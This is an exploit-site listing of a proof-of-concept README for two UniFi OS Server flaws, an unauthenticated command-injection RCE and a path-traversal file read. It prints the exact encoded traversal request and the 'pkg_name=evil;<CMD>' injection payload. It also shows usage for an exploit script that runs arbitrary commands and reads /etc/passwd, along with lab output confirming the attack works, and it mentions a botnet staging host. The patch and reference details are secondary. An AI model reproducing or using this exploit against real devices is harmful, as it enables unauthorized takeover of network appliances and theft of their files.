## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BOREAS37-CVE-2026-34910-POC
# CVE-2026-34910 / CVE-2026-34909 — UniFi OS Unauthenticated RCE & File Read
**Unauthenticated Command Injection RCE** (CVE-2026-34910) + **Path Traversal Arbitrary File Read** (CVE-2026-34909) in **UniFi OS Server**. **CVSS 10.0 (Critical)** each · **CISA KEV listed** · actively exploited by a Mirai-derived botnet (`azsxd` implant).
## TL;DR
Ubiquiti UniFi OS ships an nginx auth gateway that treats any request whose **RAW URI** starts with `/api/auth/validate-sso/` as public, but routes by the **NORMALIZED URI** (decodes `%2f` → `/` and collapses `../`). Encoding a traversal makes the two diverge:
root@kitploit:~
GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=<CMD>&by_cmd=true
→ reaches the internal package-update handler, which passes `pkg_name` to `/bin/sh -c` → **unauthenticated RCE in a single request**.
The same primitive against `/app-assets/...` reads files off disk (CVE-2026-34909).
## Exploit
root@kitploit:~
# 1. Auth-bypass probe (non-destructive)
python3 CVE-2026-34910.py https://TARGET:8443 --check
# 2. RCE — run a command (CVE-2026-34910)
python3 CVE-2026-34910.py https://TARGET:8443 "id > /tmp/pwned.txt"
# 3. RCE proof — create a file on the target
python3 CVE-2026-34910.py https://TARGET:8443 --proof
# 4. File read (CVE-2026-34909)
python3 CVE-2026-34910.py https://TARGET:8443 --read /etc/passwd
The RCE payload injects a semicolon into the handler's internal `sudo systemctl stop <pkg_name>` shell command: `pkg_name=evil;<CMD>` → `sudo systemctl stop evil;<CMD>` — the injected command executes on the host as the `ucs-update` user.
### Verified against real UniFi OS Server 5.0.6 (setup-completed)
root@kitploit:~
$ python3 CVE-2026-34910.py https://127.0.0.1:11443 --proof
[*] Command: touch /tmp/PWNED_34910
[*] HTTP 200
[*] Response: {"code":-3,"codeS":"CODE_SYSTEM_ERROR",...}
[+] Request sent — command executed on target
# On the target (docker exec unifi-os-vuln):
$ ls -la /tmp/PWNED_34910
-rw-r--r-- 1 ucs-update ucs-update 0 Aug 9 21:52 /tmp/PWNED_34910 ✅ FILE CREATED
### Verification (real UniFi OS)
> ✅ **FULLY VERIFIED — RCE confirmed against real UniFi OS Server 5.0.6** (vulnerable, setup-completed) running in Docker (hieutq/unifi-os-server:5.0.6-amd64):
>
> 1. `..%2f` auth-bypass reaches the internal `latest_package` handler (response: `CODE_SYSTEM_ERROR` / "pkg_name required" — not an nginx 400).
> 2. `pkg_name=evil;touch /tmp/PWNED_34910&by_cmd=true` **created the file on the target** (`-rw-r--r-- ucs-update`) → **command injection → RCE confirmed**.
> 3. Against patched UniFi OS 5.1.21 the same request returns HTTP 400 (nginx rejects the raw-URI/normalized-URI divergence), confirming a clean negative.
>
>
> Setup was completed through the real web wizard (device name → credentials → console password → finish), so the lab matches a production-installed appliance.
root@kitploit:~
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --check
[*] Auth-bypass probe: HTTP 200
[+] VULNERABLE — handler reached (pkg_name required)
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --read /etc/passwd
[*] File: /etc/passwd
[*] HTTP 200
[+] File contents (80 bytes):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
## Affected / Fixed
CVE| Severity| Affected| Fixed
---|---|---|---
CVE-2026-34910| 10.0 Critical| UniFi OS Server (pre-SAB-064)| SAB-064
CVE-2026-34909| 10.0 Critical| UniFi OS Server (pre-SAB-064)| SAB-064
CVE-2026-34908| 10.0 Critical| UniFi OS Server (pre-SAB-064)| SAB-064
## In the Wild
Mirai/Gafgyt-derived botnet (`azsxd` v2.0 implant) chains the auth bypass + command injection for unauth RCE — multi-arch loader staged from 185.228.26.16. See the pwndefend writeup.
## References
* Ubiquiti SAB-064
* NVD — CVE-2026-34910
* NVD — CVE-2026-34909
* CISA KEV
* BishopFox CVE-2026-34908 detector
## Disclaimer
For authorized security testing and educational purposes only.